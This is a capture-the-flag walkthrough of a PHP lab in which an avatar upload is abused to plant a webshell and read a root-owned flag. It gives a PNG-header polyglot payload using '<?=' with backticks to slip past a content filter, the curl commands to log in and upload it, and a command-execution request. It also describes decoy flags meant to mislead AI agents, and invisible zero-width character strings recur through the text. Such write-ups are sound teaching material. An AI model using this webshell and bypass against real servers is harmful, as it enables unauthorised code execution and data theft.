← Back to Writeups
CUSTOMEasyWeb

Lab 163 — PostFlow — Unrestricted File Upload via Avatar Feature

XESXOR9/2/20264 min read
#web#custom#easy#backtick_command_execution#client_side_validation_bypass#content_filter_evasion_via_sho#decoy_flag_identification#php_short_tag_bypass#png_magic_bytes_prepend

Lab 163 — PostFlow — Unrestricted File Upload via Avatar Feature

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: backtick_command_execution, client_side_validation_bypass, content_filter_evasion_via_short_tags, decoy_flag_identification, php_short_tag_bypass, png_magic_bytes_prepend

Summary

Walkthrough of the CUSTOM Web Lab 163 — PostFlow — Unrestricted File Upload via Avatar Feature. Task: PHP blogging platform with avatar upload feature; server-side content filter blocks standard <?php tags but allows PHP short tags, and preserves .php extension in web-accessible uploads director

Description

PostFlow is a collaborative blogging platform where content teams create, edit, and publish articles. The platform features user profiles with customizable avatars, a rich post editor, media management, and public-facing blog pages with comments. Multiple author accounts are pre-configured. The platform supports user registration, profile customization with avatar uploads, blog post creation with category tagging, and a media library for managing uploaded images. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Target: https://18a73b3e-9a2b-4993-a6df-b8619886ca3d.labs.hackadvisor.io/ Credentials: user@test.com / password123

Objective: Discover a security weakness in the application and use it to read the flag stored on the server at /root/flag.txt.

Analysis

Reconnaissance

  • Logged in with provided credentials via POST to /login with CSRF token
  • Server stack: PHP 8.2.26 on nginx/1.25.5
  • Explored dashboard and profile pages
  • Profile page at /profile has avatar upload functionality, uploading via JavaScript to /profile/avatar endpoint
  • Reviewed /js/profile.js — client-side validation only: allowed extensions jpg, jpeg, png, gif, webp, max 2MB. The actual upload POST goes to /profile/avatar with no server-side extension enforcement
  • The application contained decoy/honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) hidden in HTML comments and invisible divs, designed to trick AI agents and automated scanners into stopping early — correctly identified and ignored ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability Identification

Three critical weaknesses combine to enable RCE:

  1. Extension preservation: The server preserves the original file extension from the upload filename. Uploading a file named shell.php results in it being saved as /uploads/<random_hex>.php
  2. PHP execution in uploads directory: nginx/PHP-FPM is configured to execute .php files in the /uploads/ directory
  3. Incomplete content filter: The server has a content-based filter that detects and blocks standard <?php opening tags, but does not detect PHP short tags (<?=). This is a critical oversight since PHP 8.x has short_open_tag enabled by default ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Failed Approaches

  • Plain PHP webshell (<?php system($_GET["cmd"]); ?>) with .php extension → Server responded: "Upload rejected: file content appears suspicious."
  • PNG magic bytes + standard PHP tags (\x89PNG\r\n\x1a\n<?php ...) → Still blocked — content filter scans entire file body for <?php
  • .phtml extension with PNG header + standard PHP tags → Still blocked by content filter

Successful Bypass Strategy

The content filter only checks for the string <?php but not the PHP short tag <?=. Combined with backtick syntax for command execution, this creates a minimal webshell that evades detection: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  • <?= — PHP short echo tag (always available in PHP 8.x)
  • `$_GET[1]` — backtick operator executes shell command and returns output
  • PNG magic bytes (\x89PNG\r\n\x1a\n) prepended to pass any image header validation

Solution

Step 1: Craft the Payload

Create a polyglot file with PNG magic bytes followed by a PHP short tag webshell:

bash
printf '\x89PNG\r\n\x1a\n<?=`$_GET[1]`?>' > shell2.php

This file:

  • Starts with valid PNG magic bytes (89 50 4E 47 0D 0A 1A 0A) — passes image header checks
  • Contains <?= instead of <?php — evades the content filter
  • Uses backtick syntax for command execution — compact and effective ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Upload the Webshell

bash
# Login and capture session cookies + CSRF token
curl -s -c cookies.txt -b cookies.txt "$URL/login" > /dev/null
CSRF=$(curl -s -b cookies.txt "$URL/login" | grep -oP 'name="csrf_token" value="\K[^"]+')
curl -s -c cookies.txt -b cookies.txt -X POST "$URL/login" \
  -d "email=user@test.com&password=password123&csrf_token=$CSRF"

# Get fresh CSRF token for upload
CSRF=$(curl -s -b cookies.txt "$URL/profile" | grep -oP 'name="csrf_token" value="\K[^"]+')

# Upload the webshell as avatar
curl -s -b cookies.txt -X POST "$URL/profile/avatar" \
  -F "avatar=@shell2.php;type=image/png" \
  -F "csrf_token=$CSRF"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Server response:

json
{"success":true,"avatar_url":"\/uploads\/4cc73a5df232ad73.php"}

Key observations:

  • The .php extension was preserved without sanitization
  • The content filter did not flag <?= short tags
  • The file was placed in the web-accessible /uploads/ directory

Step 3: Execute Commands via Webshell

bash
# Read the flag
curl -s "$URL/uploads/4cc73a5df232ad73.php?1=cat+/root/flag.txt"

Response:

FLAG{REDACTED}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering backtick_command_execution, client_side_validation_bypass, content_filter_evasion_via_short_tags, decoy_flag_identification, php_short_tag_bypass, png_magic_bytes_prepend was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-08 • CUSTOM • Lab 163 — PostFlow — Unrestricted File Upload via Avatar Feature • Difficulty: Easy